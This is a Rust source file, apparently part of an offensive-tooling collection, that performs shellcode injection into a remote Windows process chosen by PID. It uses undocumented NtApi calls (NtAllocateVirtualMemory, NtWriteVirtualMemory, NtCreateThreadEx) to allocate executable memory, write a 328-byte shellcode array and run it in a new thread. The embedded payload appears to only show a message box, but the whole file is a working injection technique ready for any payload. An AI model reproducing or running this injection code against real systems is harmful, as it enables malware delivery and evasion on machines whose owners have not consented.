remote_process.rs

/*
    Shellcode Execution through Remote Process using NtApi
    Remote Process Method 1
    @5mukx
*/

use std::{ffi::OsString, os::windows::ffi::OsStrExt, ptr::null_mut};

use winapi::{shared::{bcrypt::NTSTATUS, minwindef::DWORD, ntdef::HANDLE}, um::{handleapi::CloseHandle, libloaderapi::{GetProcAddress, LoadLibraryW}, processthreadsapi::OpenProcess, winnt::PROCESS_ALL_ACCESS}};

use winapi::ctypes::c_void;

// Souce: https://docs.rs/ntapi/latest/ntapi/ntmmapi/fn.NtAllocateVirtualMemory.html
type NAVM = unsafe extern "system" fn(
    *mut c_void,
    *mut *mut c_void, // ? here
    usize,
    *mut usize,
    u32,
    u32,
) -> NTSTATUS;

type NWVM = unsafe extern "system" fn(
    *mut c_void,
    *mut c_void,
    *const c_void,
    usize,
    *mut usize,
) -> NTSTATUS;

type NCT = unsafe extern "system" fn(
    *mut *mut c_void, // ?= *mut HANDLE
    DWORD,
    *mut c_void,
    HANDLE,
    *mut c_void,
    *mut c_void,
    DWORD,
    DWORD,
    DWORD,
    DWORD,
    *mut c_void,   
) -> NTSTATUS;

fn main()-> Result<(), Box<dyn std::error::Error>>{
    let args: Vec<String> = std::env::args().collect();

    if args.len() < 2 {
        println!("Usage: {} <PID>", args[0]);
        return Ok(());
    }

    let new_pid= args[1].parse::<u32>().expect("Enter valid PID");
    
    println!("[+] Injecting into PID: {}", new_pid);

    unsafe{

        // SHELLCODE 
        let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
            0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
            0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
            0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
            0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
            0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
            0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
            0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
            0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
            0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
            0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
            0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
            0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
            0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
            0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
            0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
            0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
            0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
            0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
            0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
            0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
            0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
            0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
            0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
        ];  

        let p_handle = OpenProcess(
            PROCESS_ALL_ACCESS,
            0,
            new_pid,
        );

        if p_handle.is_null(){
            eprintln!("[-] Invalid Handle");
            std::process::exit(1);
        }

        let ntdll_name: Vec<u16> = OsString::from("ntdll.dll").encode_wide().chain(std::iter::once(0)).collect();
        let h_ntdll = LoadLibraryW(ntdll_name.as_ptr());
        
        if h_ntdll.is_null() {
            println!("[-] Failed to load ntdll.dll");
            return Err("Failed to load ntdll.dll".into());
        }

        let nt_allocate_virtual_memory: NAVM = std::mem::transmute(
            GetProcAddress(h_ntdll,  b"NtAllocateVirtualMemory\0".as_ptr() as *const i8)
        );

        let nt_write_virtual_memory: NWVM = std::mem::transmute(
            GetProcAddress(h_ntdll, "NtWriteVirtualMemory\0".as_ptr() as *const i8)
        );

        let nt_create_thread_ex: NCT = std::mem::transmute(
            GetProcAddress(h_ntdll, "NtCreateThreadEx\0".as_ptr() as *const i8)
        );

        let mut alloc_addr: *mut c_void = null_mut();
        let mut alloc_size: usize /*SIZE_T*/ = shellcode.len();

        let status = nt_allocate_virtual_memory(
            p_handle, 
            &mut alloc_addr,
            0,
            &mut alloc_size, 
            0x3000, 
            0x40,
        );

        println!("Allocation status: {:X}", status);
        println!("Allocated address: {:?}", alloc_addr);

        let status = nt_write_virtual_memory(p_handle, alloc_addr, shellcode.as_ptr() as *const c_void, shellcode.len(), null_mut());
        println!("Write status: {:X}", status);

        let mut t_handle: *mut c_void = null_mut();
        let status = nt_create_thread_ex(
            &mut t_handle, 
            0x2000000, 
            null_mut(), 
            p_handle, 
            alloc_addr, 
            null_mut(), 
            0, 
            0, 
            0, 
            0, 
            null_mut()
        );

        println!("Execution status: {:X}", status);

        CloseHandle(p_handle);
        if !t_handle.is_null() {
            CloseHandle(t_handle);
        }
    }
    Ok(())
}